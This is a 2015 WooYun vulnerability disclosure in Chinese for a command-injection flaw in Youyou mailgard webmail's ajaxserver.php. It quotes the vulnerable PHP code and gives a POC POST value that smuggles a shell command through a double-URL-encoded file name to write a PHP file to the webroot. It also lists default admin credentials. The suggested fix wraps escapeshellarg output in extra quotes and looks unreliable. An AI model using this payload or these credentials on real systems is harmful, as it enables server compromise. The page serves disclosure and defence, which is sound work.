当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(11) 关注此漏洞

缺陷编号: WooYun-2015-97939

漏洞标题: 佑友mailgard webmail命令执行之二

相关厂商: 深圳市河辰通讯技术有限公司

漏洞作者: f4ckbaidu

提交时间: 2015-02-23 22:23

公开时间: 2015-05-31 09:04

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php 系统命令执行

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-23: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-05: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-04-26: 细节向核心白帽子及相关领域专家公开
2015-05-06: 细节向普通白帽子公开
2015-05-16: 细节向实习白帽子公开
2015-05-31: 细节向公众公开

简要描述:

与wooyun-2015-097649类似的命令执行漏洞

详细说明:

在wooyun-2015-097649的基础上补充下

先来看下全局函数:(/var/www/newmail/include/common.php)

code 区域
if(!MAGIC_QUOTES_GPC){
foreach($_COOKIE as $key => $val){
if(is_array($val)){
foreach($val as $k => $v){
$val[$k] = addslashes($v);
}
}else{
$val = addslashes($val);
}
$_COOKIE[$key] = $val;
}
foreach($_POST as $key => $val){
if(is_array($val)){
foreach($val as $k => $v){
$val[$k] = addslashes($v);
}
}else{
$val = addslashes($val);
}
$_POST[$key] = $val;
}
foreach($_GET as $key => $val){
if(is_array($val)){
foreach($val as $k => $v){
$val[$k] = addslashes($v);
}
}else{
$val = addslashes($val);
}
$_GET[$key] = $val;
}
}



可以看到对GPC的value做了addslashes处理

其实还包含了360的webscan防注入,这里没啥关系就不贴了

再来看/var/www/newmail/src/ajaxserver.php的问题代码:

code 区域
if($_GET['exec']=='saveToNet'){
// 保存到网络硬盘
list($box_name,$uid) = explode(':', $_GET['sd']);

$file_name = urldecode($_POST['file_name']);
$net_dir = $_POST['net_dir'];

$dir = $gTmpUploadDir.$box_name.$uid."/";
if(!is_dir($dir)){//目录不存在,创建目录并生成文件
@mkdir($dir,0722,true);//逐层检查创建0700权限
select_mailbox($connection,$box_name);

$entity = parse_entity('type','application/',$box_name,$uid,'',true);

foreach($entity as $val){
$mail_attachment = mail_body($connection,$uid,$val['entity_id'],$val['encoding']);

$att_name = $val['filename'];
$file = fopen($dir.$att_name,'w');
fwrite($file,$mail_attachment);
fclose($file);

}
}

$fArr = explode('.', $file_name);
$fSuffix = end($fArr);
$fPrefix = substr($file_name, 0, -(strlen($fSuffix)+1));
$movefile = $gNetDiskDir.$net_dir."/".$file_name;
$auton = 0;
$goexpr = true;
while($goexpr){
if(is_file($movefile)){
$movefile = $gNetDiskDir.$net_dir."/".$fPrefix.'('.$auton.').'.$fSuffix;
$auton++;
}else{
$goexpr = false;
}
}

exec("cd '".$dir."'; cp '".$file_name."' '".$movefile."'",$rs,$res);

if($result>0 || $res===0){
echo '<meta http-equiv="Content-Type" content="text/html; charset='.$default_charset.'" />' ;
echo '<script type="text/javascript">';
echo 'alert("'.$language['show_save_net_ok'].'");';
echo '</script>';
}
exit;
}



问题在于:

$file_name = urldecode($_POST['file_name']);

exec("cd '".$dir."'; cp '".$file_name."' '".$movefile."'",$rs,$res);

虽然exec函数里$file_name有单引号包含,但是$file_name = urldecode($_POST['file_name']);,可以2次urlencode单引号绕过addslashes

POC如下:

1、找个账号登录http://**.**.**.**/

2、打开http://**.**.**.**/src/ajaxserver.php?exec=saveToNet&sd=aa:admin

3、POST net_dir=a&file_name=%2527|echo %2527<?php phpinfo();?>%2527>/var/www/newmail/phpinfo.php%2527

4、访问http://**.**.**.**/phpinfo.php

11.png



1.png



22.png



2.png

漏洞证明:

http://**.**.**.**:889/默认帐号密码admin hicomadmin

11.png



1.png



http://**.**.**.**/默认帐号密码admin hicomadmin

22.png



2.png

修复方案:

exec("cd '".$dir."'; cp '".escapeshellarg($file_name)."' '".$movefile."'",$rs,$res);

版权声明:转载请注明来源 f4ckbaidu@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-03-02 09:04

厂商回复:

暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

登录后才能发表评论,请先 登录